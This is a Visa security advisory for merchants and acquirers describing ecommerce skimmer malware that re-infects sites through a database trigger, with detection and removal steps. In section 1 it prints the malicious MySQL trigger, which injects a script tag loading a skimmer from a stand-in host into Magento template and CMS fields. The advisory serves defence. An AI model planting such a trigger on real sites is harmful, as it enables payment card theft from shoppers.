



DETECTING AND MITIGATING PERSISTENT JAVASCRIPT ECOMMERCE MALWARE

Distribution: Visa Merchants, Acquirers

Summary: In February 2017, [analysts](#) identified a new technique used with JavaScript-based eCommerce malware that enables the malware to re-infect the website automatically upon incomplete removal. The malware obtains this persistence by modifying the database to force the injection of a malicious JavaScript file into the eCommerce webpage. By targeting the database, rather than the specific eCommerce application, the malware is resilient to normal removal attempts. The technique employed varies based on the database in use by the website. Cybercriminals have recently used this technique to target an eCommerce merchant, successfully injecting the Javascript code into a database field of a merchant's website and compromising payment card data. Visa is providing this report in order to alert eCommerce merchants to this malware technique, and to provide detection and mitigation methods if this malware is discovered.

1. Threat and Risk Description

The malware reinfection method discussed here can be used on any eCommerce platform that uses database fields to populate content on the shopping cart webpage. Reinfection of the website is done with the following process:

- A database trigger is added to the order table, which injects the malicious JavaScript link into the website template fields.
- This trigger is executed every time a new order is made.

The database trigger resembles the following code:

```
TRIGGER `after_insert_order`  
AFTER INSERT ON `sales_flat_order` FOR EACH ROW  
BEGIN  
    UPDATE core_config_data  
    SET value = IF(  
        value LIKE '%<script src="https://example.com/  
shoplift.js"></script>%',  
        value,  
        CONCAT(value, '<script src="https://example.com/  
shoplift.js"></script>')  
    )  
    WHERE path='design/head/includes'  
        OR path='design/footer/absolute_footer'  
        OR path='design/footer/copyright';\
```

Visa Public Visa Payment Fraud Disruption

```
UPDATE cms_block

SET content= IF(
    content LIKE '%<script src="https://example.com/
shoplift.js"></script>%',
    content,
    CONCAT(content, ' <script src="https://example.com/
shoplift.js"></script>')
);

END;
```

2. Best practices, detection and mitigation measures, or action required

Scanning for malicious code in the HTML files is not sufficient to detect this malware. Analysis of the database is now required to ensure proper clean up of JavaScript eCommerce malware. Visa recommends the following best detection and mitigation practices to merchants using eCommerce platforms.

Scan your website for malware:

Visa recommends that you regularly scan your webserver for malware. For a Magento eCommerce site, for example, it is recommended to run a scan on <https://www.magereport.com/> to identify security vulnerabilities. MageReport.com includes signatures for the persistence method described in this document.

Check for the malicious database trigger:

To check for database triggers on an ecommerce website, run the following command:

```
SHOW TRIGGERS;
```

eCommerce websites and software plugin extensions include legitimate database triggers. To determine if the triggers listed by the above commands are malicious, administrators should look for suspicious SQL commands containing terms such as "admin", ".js", or "script".

If malicious triggers are found, you can remove them with this command:

```
DROP TRIGGER <trigger_name>;
```

Replace <trigger_name> with the malicious trigger name identified by the `SHOW TRIGGERS` command. For example, to remove the example trigger from section 1 of this document, the command would be:

```
DROP TRIGGER after_insert_order;
```

Use a Payment Card Industry Data Security Standard validated third-party service provider to store, process or transmit cardholder data:

Criminals commonly target merchant websites that process payment data. When merchants use a validated and secure service provider, risk exposure for card-not-present (CNP) fraud and

Visa Public
Visa Payment Fraud Disruption

compromise decreases. A list of validated, registered service providers is available on the [Global Registry of Service Providers](#).

Refer to Visa's *What to do if Compromised (WTDIC)* document, published August 2016:

<https://usa.visa.com/dam/VCOM/download/merchants/cisp-what-to-do-if-compromised.pdf>

3. External Resources

- [PCI Security Standards Council, *Best Practices for Securing e-Commerce*, January 2017](#)
- [Visa webinar: *Preventing Card-Not-Present Fraud*, December 2016](#)

To report a data breach, contact Visa Fraud Control:

- Asia Pacific Region, Central Europe/Middle East/Africa Region: VIFraudControl@visa.com
- Europe: Datacompromise@visa.com
- LAC: LACFraudInvestigations@visa.com
- U.S. and Canada: USFraudControl@visa.com

For more information, please contact, paymentintelligence@visa.com.

Disclaimer

All information, content and materials (the "Information") is provided on an as-is basis. Visa is not responsible for your use of the Information (including errors, omissions, inaccuracy or non-timeliness of any kind) or any assumptions or conclusions you might draw from its use. Visa makes no warranty, express or implied, and explicitly disclaims the warranties of merchantability, fitness for a particular purpose, accuracy, any warranty of non-infringement of any third party's intellectual property rights, or any warranty that the information is updated and will be error free. To the extent permitted by applicable law, Visa shall not be liable for any damages under any theory of law, including, without limitation, any special, consequential, incidental or punitive damages.